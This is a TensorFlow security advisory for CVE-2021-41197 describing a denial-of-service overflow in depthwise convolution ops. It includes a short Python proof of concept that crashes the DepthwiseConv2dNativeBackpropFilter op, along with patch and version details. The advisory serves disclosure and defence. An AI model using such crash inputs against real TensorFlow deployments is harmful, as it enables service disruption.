TFSA-2022-071: CHECK failure in depthwise ops via overflows

CVE Number

CVE-2021-41197

Impact

The implementation of depthwise ops in TensorFlow is vulnerable to a denial of service via CHECK-failure (assertion failure) caused by overflowing the number of elements in a tensor:

import tensorflow as tf

input = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
filter_sizes = tf.constant(1879048192, shape=[13], dtype=tf.int32)
out_backprop = tf.constant(1, shape=[1, 4, 4, 3], dtype=tf.float32)
tf.raw_ops.DepthwiseConv2dNativeBackpropFilter(
    input=input, filter_sizes=filter_sizes, out_backprop=out_backprop, strides=[1, 1, 1, 1], padding="SAME")

This is another instance of TFSA-2021-198 (CVE-2021-41197).

Patches

We have patched the issue in GitHub commit 3796cc4fcd93ae55812a457abc96dcd55fbb854b.

The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
